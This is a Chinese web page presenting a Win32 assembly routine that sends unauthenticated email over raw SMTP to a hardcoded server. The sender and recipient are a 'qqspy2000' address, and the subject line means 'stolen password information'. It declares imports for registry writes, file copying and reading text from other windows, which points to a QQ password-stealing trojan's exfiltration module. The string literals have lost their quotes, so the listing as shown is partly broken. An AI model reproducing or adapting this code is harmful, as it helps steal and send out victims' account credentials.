利用汇编发送无需认证的eMail
| include win32.inc .586 .model flat,stdcall .data SmtpSrvr db smtp.elong.com,0 MailFrom0 db qqspy2000@elong.com,0 RcptTo0 db qqspy2000@elong.com,0 From0 db QQSpy2000.@elong.com,0 To0 db QQSpy2000.@elong.com,0 Subject0 db 被盗密码信息,0 Content0 db 这是实验版,0 HelloSrvr db HELO %s,0dh,0ah,0 MailFrom db MAIL FROM: %s,0dh,0ah,0 RcptTo db RCPT TO: %s,0dh,0ah,0 MailData db DATA,0dh,0ah,0 From db FROM: %s,0dh,0ah,0 To db TO: %s,0dh,0ah,0 Subject db Subject: %s,0dh,0ah,0 Content db 哈哈： %s,0dh,0ah,0 EndMail db .,0dh,0ah,0 QuitMail db QUIT,0dh,0ah,0 .code extrn GetModuleFileNameA: proc extrn GetSystemDirectoryA: proc extrn CopyFileA: proc extrn RegOpenKeyA: proc extrn RegSetValueExA: proc extrn RegCloseKey: proc extrn GetModuleHandleA: proc extrn DialogBoxParamA: proc extrn MessageBoxA: proc extrn ExitProcess: proc extrn SetTimer: proc extrn EnumWindows: proc extrn EnumChildWindows: proc extrn GetWindowTextA: proc extrn SetDlgItemTextA: proc extrn GetDlgItemTextA: proc extrn GetClassNameA: proc extrn SendMessageA: proc extrn GetWindowLongA: proc extrn ShowWindow: proc extrn _wsprintfA: proc extrn WSAStartup: proc extrn socket: proc extrn htons: proc extrn gethostbyname: proc extrn connect: proc extrn send: proc extrn recv: proc extrn closesocket: proc extrn WSACleanup: proc extrn GlobalAlloc: proc extrn GlobalFree: proc extrn Sleep: proc Start: call SendEmail,OFF SmtpSrvr,OFF MailFrom0,OFF RcptTo0,OFF From0,OFF To0,OFF Subject0,OFF Content0,NULL call ExitProcess,NULL SendEmail proc pSmptSrvr: DWORD,pMailFrom: DWORD,pRcptTo: DWORD,pFrom: DWORD,pTo: DWORD,pSubject: DWORD,pContent: DWORD,pfile: DWORD pusha call GlobalAlloc,GMEM_ZEROINIT,1000h mov [eax],esp lea esi,[eax+4] lea edi,[eax+size SOCKADDR+4] call WSAStartup,L 101h,edi or eax,eax jnz SendEmailError call socket,AF_INET,SOCK_STREAM,NULL cmp eax,-1h jz SendEmailError mov ebx,eax mov [esi.sin_family],AF_INET call htons,L 25 mov [esi.sin_port],ax call gethostbyname,OFF SmtpSrvr or eax,eax jz SendEmailError mov eax,[eax.h_ip] mov eax,[eax] mov [esi.sin_addr],eax call connect,ebx,esi,size SOCKADDR cmp eax,-1h jz SendEmailError ;HELO SMTP.ELONG.COM call _wsprintfA,edi,OFF HelloSrvr,pSmptSrvr call send,ebx,OFF edi,eax,NULL ;MAIL FROM: call _wsprintfA,edi,OFF MailFrom,pMailFrom call send,ebx,edi,eax,NULL ;RCPT TO: call _wsprintfA,edi,OFF RcptTo,pRcptTo call send,ebx,edi,eax,NULL ;DATA call send,ebx,OFF MailData,L 06h,NULL ;FROM: call _wsprintfA,edi,OFF From,pFrom call send,ebx,edi,eax,NULL ;TO: call _wsprintfA,edi,OFF To,pTo call send,ebx,edi,eax,NULL ;SUBJECT: call _wsprintfA,edi,OFF Subject,pSubject call send,ebx,edi,eax,NULL ;CONTENT call _wsprintfA,edi,OFF Content ,pContent call send,ebx,edi,eax,NULL ;EndMail call send,ebx,OFF EndMail,L 03h,NULL ;Quit call send,ebx,OFF QuitMail,L 06h,NULL call Sleep,1000h call AskSrvr SendEmailError: call closesocket,ebx call WSACleanup sub esi,04 mov esp,[esi] call GlobalFree,esi popad ret SendEmail Endp MsgBox: pushad call MessageBoxA,NULL,edi,edi,NULL popad ret AskSrvr: pushad call recv,ebx,edi,L 100h,NULL call MessageBoxA,NULL,edi,edi,NULL popad ret End Start |
补充：综合编程 , 安全编程 ,
